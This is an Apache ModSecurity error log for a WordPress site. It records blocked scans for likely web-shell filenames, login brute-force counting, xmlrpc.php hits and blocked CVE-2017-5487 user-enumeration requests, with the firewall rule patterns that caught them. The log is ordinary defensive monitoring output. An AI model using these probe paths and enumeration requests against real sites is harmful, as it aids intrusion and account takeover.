[Sun Apr 05 08:45:32.263528 2026] [:error] [pid 45304:tid 45349] [client 212.227.21.19:6352] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adGwrA5jnqDKKovdRkk06AAAAEU"]
[Sun Apr 05 08:45:38.864853 2026] [:error] [pid 45409:tid 45412] [client 212.227.21.19:44344] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adGwstHt_Oyw03gjCNgsFwAAAME"]
[Sun Apr 05 08:45:40.907683 2026] [:error] [pid 45409:tid 45434] [client 212.227.21.19:44350] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adGwtNHt_Oyw03gjCNgsGwAAANc"]
[Sun Apr 05 08:45:42.806082 2026] [:error] [pid 45409:tid 45418] [client 212.227.21.19:44356] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adGwttHt_Oyw03gjCNgsJAAAAMc"]
[Sun Apr 05 08:45:44.900487 2026] [:error] [pid 45303:tid 45326] [client 212.227.21.19:44366] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adGwuLboQ9eViZ4hdnm7AAAAAAk"]
[Sun Apr 05 08:45:48.339692 2026] [:error] [pid 45305:tid 45389] [client 20.199.97.195:2481] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adGwvOjDQjr7aWhjflCdSwAAAJI"]
[Sun Apr 05 08:45:49.519946 2026] [:error] [pid 45409:tid 45423] [client 20.199.97.195:2638] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adGwvdHt_Oyw03gjCNgsKgAAAMw"]
[Sun Apr 05 08:45:50.499600 2026] [:error] [pid 45305:tid 45376] [client 20.199.97.195:2462] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adGwvujDQjr7aWhjflCdUgAAAIU"]
[Sun Apr 05 08:45:51.645482 2026] [:error] [pid 45305:tid 45388] [client 20.199.97.195:2223] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww.php"] [unique_id "adGwv-jDQjr7aWhjflCdWQAAAJE"]
[Sun Apr 05 08:45:52.635729 2026] [:error] [pid 45409:tid 45421] [client 20.199.97.195:2197] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dczem.php"] [unique_id "adGwwNHt_Oyw03gjCNgsMAAAAMo"]
[Sun Apr 05 08:45:54.535814 2026] [:error] [pid 45409:tid 45434] [client 20.199.97.195:2681] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dczem.php"] [unique_id "adGwwtHt_Oyw03gjCNgsNAAAANc"]
[Sun Apr 05 08:45:56.868033 2026] [:error] [pid 45409:tid 45413] [client 20.199.97.195:2648] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dczem.php"] [unique_id "adGwxNHt_Oyw03gjCNgsPgAAAMI"]
[Sun Apr 05 08:45:57.499965 2026] [:error] [pid 45303:tid 45338] [client 20.199.97.195:2684] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dczem.php"] [unique_id "adGwxbboQ9eViZ4hdnm7GQAAABU"]
[Sun Apr 05 08:45:59.083096 2026] [:error] [pid 45303:tid 45331] [client 20.199.97.195:2474] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "adGwx7boQ9eViZ4hdnm7HAAAAA4"]
[Sun Apr 05 08:46:01.287975 2026] [:error] [pid 45305:tid 45390] [client 20.199.97.195:2485] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "adGwyejDQjr7aWhjflCdbQAAAJM"]
[Sun Apr 05 08:46:03.429032 2026] [:error] [pid 45409:tid 45432] [client 20.199.97.195:2671] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "adGwy9Ht_Oyw03gjCNgsTAAAANU"]
[Sun Apr 05 08:46:05.685416 2026] [:error] [pid 45304:tid 45346] [client 20.199.97.195:2645] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albrt.php"] [unique_id "adGwzQ5jnqDKKovdRkk1AwAAAEI"]
[Sun Apr 05 09:13:20.717225 2026] [:error] [pid 45409:tid 45435] [client 180.194.202.185:22535] [client 180.194.202.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.194.202.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adG3MNHt_Oyw03gjCNg7owAAANg"]
[Sun Apr 05 11:50:04.809816 2026] [:error] [pid 45305:tid 45379] [client 180.194.202.185:23117] [client 180.194.202.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adHb7OjDQjr7aWhjflA3KQAAAIg"]
[Sun Apr 05 11:53:16.948291 2026] [:error] [pid 30921:tid 30937] [client 180.194.202.185:23101] [client 180.194.202.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.194.202.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adHcrGFGQVn8Q0ueB24IEQAAAQ4"]
[Sun Apr 05 11:54:44.911783 2026] [:error] [pid 45303:tid 45340] [client 180.194.202.185:25301] [client 180.194.202.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.194.202.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adHdBLboQ9eViZ4hdnkAJQAAABc"]
[Sun Apr 05 11:56:12.163826 2026] [:error] [pid 45305:tid 45388] [client 180.194.202.185:23496] [client 180.194.202.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.194.202.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adHdXOjDQjr7aWhjflA8dQAAAJE"]
[Sun Apr 05 11:57:37.283371 2026] [:error] [pid 30921:tid 30933] [client 180.194.202.185:21656] [client 180.194.202.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.194.202.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adHdsWFGQVn8Q0ueB24JtgAAAQo"]
[Sun Apr 05 11:59:04.999456 2026] [:error] [pid 45305:tid 45389] [client 180.194.202.185:24104] [client 180.194.202.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.194.202.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adHeCOjDQjr7aWhjflA-fQAAAJI"]
[Sun Apr 05 12:04:29.504581 2026] [:error] [pid 30921:tid 30933] [client 104.28.235.60:45599] [client 104.28.235.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "adHfTWFGQVn8Q0ueB24NLAAAAQo"]
[Sun Apr 05 12:04:30.859044 2026] [:error] [pid 45305:tid 45383] [client 104.28.235.60:42644] [client 104.28.235.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "adHfTujDQjr7aWhjflBDVQAAAIw"]
[Sun Apr 05 12:04:32.228906 2026] [:error] [pid 45305:tid 45372] [client 104.28.235.60:42646] [client 104.28.235.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/style.php"] [unique_id "adHfUOjDQjr7aWhjflBDXQAAAIE"]
[Sun Apr 05 12:42:43.443521 2026] [:error] [pid 30921:tid 30938] [client 95.211.186.231:52428] [client 95.211.186.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.186.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHoQ2FGQVn8Q0ueB24dwQAAAQ8"]
[Sun Apr 05 12:43:06.327626 2026] [:error] [pid 30921:tid 30929] [client 95.211.186.231:52428] [client 95.211.186.231] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adHoWmFGQVn8Q0ueB24d-gAAAQY"]
[Sun Apr 05 12:43:08.098898 2026] [:error] [pid 30921:tid 30931] [client 95.211.186.231:52428] [client 95.211.186.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.186.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHoXGFGQVn8Q0ueB24d_gAAAQg"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 12:43:11.566600 2026] [:error] [pid 30921:tid 30946] [client 95.211.186.231:52428] [client 95.211.186.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.186.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHoX2FGQVn8Q0ueB24eAgAAARc"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 12:43:12.797093 2026] [:error] [pid 30921:tid 30928] [client 95.211.186.231:52428] [client 95.211.186.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.186.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHoYGFGQVn8Q0ueB24eBgAAAQU"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 12:43:15.458138 2026] [:error] [pid 30921:tid 30942] [client 95.211.186.231:52428] [client 95.211.186.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.186.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHoY2FGQVn8Q0ueB24eCwAAARM"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 12:43:17.598839 2026] [:error] [pid 30921:tid 30942] [client 95.211.186.231:52428] [client 95.211.186.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.186.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHoZWFGQVn8Q0ueB24eEgAAARM"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 12:43:20.154373 2026] [:error] [pid 30921:tid 30935] [client 95.211.186.231:52428] [client 95.211.186.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.186.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHoaGFGQVn8Q0ueB24eFQAAAQw"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 12:43:21.414080 2026] [:error] [pid 30921:tid 30936] [client 95.211.186.231:52428] [client 95.211.186.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.186.231, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHoaWFGQVn8Q0ueB24eGAAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 12:57:40.172498 2026] [:error] [pid 45305:tid 45393] [client 178.33.251.48:43486] [client 178.33.251.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.251.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHrxOjDQjr7aWhjflBu4wAAAJY"]
[Sun Apr 05 12:57:44.037151 2026] [:error] [pid 45305:tid 45378] [client 178.33.251.48:43486] [client 178.33.251.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.33.251.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adHryOjDQjr7aWhjflBu7QAAAIc"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 14:13:53.058730 2026] [:error] [pid 30921:tid 30927] [client 49.51.141.76:55030] [client 49.51.141.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adH9oWFGQVn8Q0ueB25ECAAAAQQ"]
[Sun Apr 05 14:38:27.284446 2026] [:error] [pid 45409:tid 45433] [client 43.140.247.223:42434] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adIDY9Ht_Oyw03gjCNgEIwAAANY"]
[Sun Apr 05 15:24:49.587068 2026] [:error] [pid 45305:tid 45389] [client 43.155.27.244:46672] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adIOQejDQjr7aWhjflDI5wAAAJI"]
[Sun Apr 05 18:13:08.150362 2026] [:error] [pid 45303:tid 45320] [client 103.28.36.122:44398] [client 103.28.36.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adI1tLboQ9eViZ4hdnnHDwAAAAM"]
[Sun Apr 05 18:13:11.039431 2026] [:error] [pid 45303:tid 45340] [client 103.28.36.122:44398] [client 103.28.36.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adI1t7boQ9eViZ4hdnnHIQAAABc"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 19:48:44.566026 2026] [:error] [pid 45305:tid 45392] [client 51.83.236.11:60746] [client 51.83.236.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.83.236.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adJMHOjDQjr7aWhjflA53QAAAJU"]
[Sun Apr 05 19:48:49.091022 2026] [:error] [pid 45305:tid 45378] [client 51.83.236.11:60746] [client 51.83.236.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.83.236.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adJMIejDQjr7aWhjflA54gAAAIc"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 20:42:46.489630 2026] [:error] [pid 45304:tid 45358] [client 113.169.67.181:55649] [client 113.169.67.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.169.67.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adJYxg5jnqDKKovdRkkMoAAAAE4"]
[Sun Apr 05 21:12:10.654592 2026] [:error] [pid 45409:tid 45416] [client 49.51.73.183:41814] [client 49.51.73.183] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adJfqtHt_Oyw03gjCNj7agAAAMU"]
[Sun Apr 05 21:23:23.746482 2026] [:error] [pid 45304:tid 45348] [client 106.119.167.146:53455] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adJiSw5jnqDKKovdRkkYygAAAEQ"]
[Mon Apr 06 01:04:24.687837 2026] [:error] [pid 51584:tid 51710] [client 158.158.72.207:48569] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adKWGMZ4qY_GoNCPARAUrgAAAM0"]
[Mon Apr 06 01:04:25.900568 2026] [:error] [pid 51584:tid 51707] [client 158.158.72.207:5069] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adKWGcZ4qY_GoNCPARAUsAAAAMo"]
[Mon Apr 06 01:04:28.021977 2026] [:error] [pid 51580:tid 51639] [client 158.158.72.207:49874] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adKWHFNFl1NiyNgNZAkcPAAAAEA"]
[Mon Apr 06 01:04:29.819882 2026] [:error] [pid 51580:tid 51655] [client 158.158.72.207:50403] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adKWHVNFl1NiyNgNZAkcTwAAAFA"]
[Mon Apr 06 01:04:31.696960 2026] [:error] [pid 51753:tid 51818] [client 158.158.72.207:50909] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adKWH63pmp1JkaicYbtjMAAAAQc"]
[Mon Apr 06 01:04:33.529302 2026] [:error] [pid 51753:tid 51814] [client 158.158.72.207:60793] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adKWIa3pmp1JkaicYbtjOQAAAQM"]
